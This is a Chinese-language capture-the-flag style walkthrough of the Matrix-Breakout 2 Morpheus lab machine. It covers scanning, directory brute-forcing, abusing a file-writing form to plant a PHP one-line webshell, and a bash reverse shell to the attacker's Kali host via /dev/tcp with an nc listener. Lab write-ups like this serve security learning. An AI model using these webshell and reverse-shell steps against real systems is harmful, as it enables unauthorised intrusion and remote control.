matrix-breakout-2-morpheus靶场

1、安装靶机和kali，并设置为net模式，保证在同一网段下

2、kali扫描靶机

nmap 192.168.19.1/24 

3、浏览器访问靶场

4、扫出敏感目录

dirsearch -u "http://192.168.19.162"

访问一下这两个可以访问的目录

robots.txt告诉我们这里没有，看看下一个

javascript里也是什么都没有

5、扫描文件

gobuster dir -u http://192.168.19.162 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

扫到几个文件，去访问一下

在graffiti.txt里看到了一些可能有用的信息

在graffiti.php里看到了一个输入框

我们随便输入点东西，看看是什么反应

发现输进去的东西会在页面显示出来，试一下sql注入看看

还是输出到了页面上，并不会被数据库执行

那我们抓包看一下他的包是怎么上传的

包里看到了我们输入一个1，上传到了graffiti.txt文件，我们再去访问一下刚刚的txt文件

发现这里有我们刚刚尝试输入的很多信息，说明我们上传的数值可以被传到file后的文件里，那么我们可以改包，新建一个php文件，把一句话木马写进去

放行，访问文件看看有没有上传成功

访问了我们的木马文件，没有报错，那去蚁剑测试一下连接

可以看到木马已经成功被我们上传到这个网站里，那接下来就可以反弹shell

在蚁剑的虚拟终端里写入反弹代码/bin/bash -c 'bash -i >& /dev/tcp/192.168.19.133/6666 0>&1'这里的IP是kali的IP，大家可千万不要写成靶机的IP

在kali里开启nc监听

成功